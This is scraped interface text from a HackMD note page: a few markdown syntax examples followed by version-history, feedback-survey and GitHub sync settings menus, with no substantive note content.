    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully